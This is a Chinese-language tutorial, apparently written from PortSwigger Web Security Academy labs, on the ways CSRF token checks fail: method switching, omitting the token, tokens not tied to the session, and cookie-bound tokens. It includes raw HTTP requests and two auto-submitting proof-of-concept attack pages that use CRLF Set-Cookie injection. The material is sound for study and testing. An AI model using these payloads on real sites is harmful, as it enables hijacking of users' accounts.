CSRF bypass Token

CSRF Token是由伺服器端應用程式產生並與客戶端共用的唯一、秘密且不可預測的值。當發出執行敏感操作(例如提交表單)的請求時,客戶端必須包含正確的 CSRF Token。否則,伺服器將拒絕執行請求的操作。

與客戶端共用 CSRF Token的常見方法是將它們作為隱藏參數包含在 HTML 表單中,如下:

<form name="change-email-form" action="/my-account/change-email" method="POST">
    <label>Email</label>
    <input required type="email" name="email" value="example@normal-website.com">
    <input required type="hidden" name="csrf" value="50FaWgdOhi9M9wyna8taR1k3ODOR8d6u">
    <button class='button' type='submit'> Update email </button>
</form>

提交此表單會產生以下請求

POST /my-account/change-email HTTP/1.1
Host: normal-website.com
Content-Length: 70
Content-Type: application/x-www-form-urlencoded

csrf=50FaWgdOhi9M9wyna8taR1k3ODOR8d6u&email=example@normal-website.com

由於攻擊者無法預測 CSRF 令牌的正確值,因此他們無法將其包含在惡意請求中,從而有助於防止 CSRF 攻擊。但CSRF Token機制在驗證時沒設計好容易被饒過,常見缺陷說明如下


使用GET

某些應用程式在請求使用 POST 方法時正確驗證令牌,但在使用 GET 方法時會跳過驗證

假如有一個需要CSRFtoken的POST請求如下

POST /email/change-email HTTP/1.1
...omit...
email=test%40gmail.com&csrf=Odxoj2H1IQjRpXQS1Lr48QL60BmEfWIh

但因為換成以下GET方法,送出請求可成功饒過token保護

GET /email/change-email?email=test%40gmail.com&csrf=abc HTTP/1.1
...omit...

Lab: CSRF where token validation depends on request method


省略參數

某些應用程式會在令牌存在時正確驗證令牌,但如果令牌被省略,則會跳過驗證。

例如把原本的csrf參數拿掉,如下,送出請求可成功饒過token保護

POST /email/change-email HTTP/1.1
...omit...
email=test%40gmail.com

Lab: CSRF where token validation depends on token being present


使用任何Token

某些應用程式不會驗證token是否與發出請求的使用者屬於同一會話。所以攻擊者可以使用自己的帳戶登入應用程序,取得有效token,然後在 CSRF 攻擊中將該令牌提供給受害者使用者。

如下,正常情況下需要使用的token為Odxoj2H1IQjRpXQS1Lr48QL60BmEfWIh,但因為系統有漏洞,所以我用其他帳號產生的token:ChMCfL6zII3jOfSWN3hPabevqBQbN7mX如下,由於該token也的確是服務器產生的,因此送出請求可成功饒過token保護

POST /email/change-email HTTP/1.1
...omit...
email=test%40gmail.com&csrf=ChMCfL6zII3jOfSWN3hPabevqBQbN7mX

Lab: CSRF where token is not tied to user session


設定cookie挷定token

某些應用程式會將token和csrfkey cookie挷定在一起,使用別人的token就無法通過。但如果網站存在讓攻擊者在受害者瀏覽器中設定 cookie的漏洞,可以偽造別人的csrfkey cookie並搭配別人的token,一樣也能饒過token保護

假設某一網站的修改email流程如下,一開始會有表單,並產生token:VJfvEsG1frdEJeXIqRdNbccRjVSeX3UO

########### request ############
GET /email HTTP/1.1
Host: ac6e1f601f0a2e9180d7373e00a40086.web-security-academy.net
...omit...
Cookie: csrfKey=ZogHxcJ1xdl3jjW0600H4VFmdb1qeGao; session=HVWbkOTIhdnWT8xT3RRgGz7o6Gbfg2iC

########### response ########### 
...omit...
<form class="login-form" action="/email/change-email" method="POST">
                            <label>Email</label>
                            <input required type="email" name="email" value="">
                            <input required type=hidden name=csrf value=VJfvEsG1frdEJeXIqRdNbccRjVSeX3UO>
                            <button class='button' type='submit'> Update email </button>
                        </form>
...omit...

確認表單送出請求後,會帶上token參數,這必須要和cookie中的csrfKey挷定,只要有一方不對服務器就會拒絕此請求

Cookie裡csrfKey會挷定token參數,每次登入csrfKey都不變。但Cookie裡的session參數是用於身份確認,因此每次登入都不同,如下。


POST /email/change-email HTTP/1.1
Host: ac6e1f601f0a2e9180d7373e00a40086.web-security-academy.net
...omit...
Cookie: csrfKey=ZogHxcJ1xdl3jjW0600H4VFmdb1qeGao; session=HVWbkOTIhdnWT8xT3RRgGz7o6Gbfg2iC
email=c%40gmail.com&csrf=VJfvEsG1frdEJeXIqRdNbccRjVSeX3UO

重新登入後session發生變化,但csrfKey不變,如下

GET /?search=test HTTP/1.1
Host: ac6e1f601f0a2e9180d7373e00a40086.web-security-academy.net
...omit...
Cookie: csrfKey=ZogHxcJ1xdl3jjW0600H4VFmdb1qeGao; session=ePwzKMNVTh0uc7svlkGKdkOF7mqXbbf2

建立一個攻擊頁面,token參數設為VJfvEsG1frdEJeXIqRdNbccRjVSeX3UO,但cookie內的csrfkey參數要透過漏洞設定成ZogHxcJ1xdl3jjW0600H4VFmdb1qeGao,可在讀取圖片網址後加上Set-Cookie到達修改cookie的效果,如下

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://ac6e1f601f0a2e9180d7373e00a40086.web-security-academy.net/email/change-email" method="POST">
      <input type="hidden" name="email" value="c&#64;gmail&#46;com" />
      <input type="hidden" name="csrf" value="VJfvEsG1frdEJeXIqRdNbccRjVSeX3UO" />
    </form>
<img src="https://ac6e1f601f0a2e9180d7373e00a40086.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=ZogHxcJ1xdl3jjW0600H4VFmdb1qeGao" onerror="document.forms[0].submit()">
  </body>
</html>

當受害者開啟攻擊頁面時,就會把原本的csrfkey改成ZogHxcJ1xdl3jjW0600H4VFmdb1qeGao並送出請求,符合csrfkey和token挷定結果,因此可成功饒過token保護

Lab: CSRF where token is tied to non-session cookie


設定cookie創建有效token

有些應用的token是直接複制cookie中的參數,當驗證後續請求時,應用程式只需驗證請求參數中提交的token是否與 cookie 中提交的值相符。但如果網站存在 cookie 設定漏洞,可以直接修改cookie的值,等同可以自己創建token值。

假設某一網站的修改email流程如下,一開始會有表單,並產生token:IwTpaentaermvyJZpnRszP2ByM4U1gdj,但這和cookie中的csrf值是一樣的

########### request ############
GET /email HTTP/1.1
Host: acf61f1d1e08c0b280a313ed006600eb.web-security-academy.net
...omit...
Cookie: LastSearchTerm=test; csrf=IwTpaentaermvyJZpnRszP2ByM4U1gdj; session=qCuAvd25MbYj2v76OPkS7UGE6ruTWoGU


########### response############
...omit...
<form class="login-form" action="/email/change-email" method="POST">
                            <label>Email</label>
                            <input required type="email" name="email" value="">
                            <input required type="hidden" name="csrf" value="IwTpaentaermvyJZpnRszP2ByM4U1gdj">
                            <button class='button' type='submit'> Update email </button>
                        </form>
...omit...

確認表單送出請求後,會帶上token參數,由於和cookie中的csrf參數相同,因此服務器接受此請求

POST /email/change-email HTTP/1.1
Host: acf61f1d1e08c0b280a313ed006600eb.web-security-academy.net
...omit...
Cookie: LastSearchTerm=test; csrf=IwTpaentaermvyJZpnRszP2ByM4U1gdj; session=qCuAvd25MbYj2v76OPkS7UGE6ruTWoGU
email=test%40gmail.com&csrf=IwTpaentaermvyJZpnRszP2ByM4U1gdj

建立一個攻擊頁面,讓cookie內的csrf參數設定為fake,可在讀取圖片網址後加上Set-Cookie到達修改cookie的效果。然後token也設定為fake,如下

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <img src="https://acf61f1d1e08c0b280a313ed006600eb.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake" onerror="document.forms[0].submit();"/>
    <form action="https://acf61f1d1e08c0b280a313ed006600eb.web-security-academy.net/email/change-email" method="POST">
      <input type="hidden" name="email" value="test&#64;gmail&#46;com" />
      <input type="hidden" name="csrf" value="fake" />
    </form>
  </body>
</html>

當受害者開啟攻擊頁面時,就會把原本的cookie內的csrf改成fake,在送出請求時因為token也是設定fake,滿足服務器2個相符的條件,因此可成功饒過token保護

Lab: CSRF where token is duplicated in cookie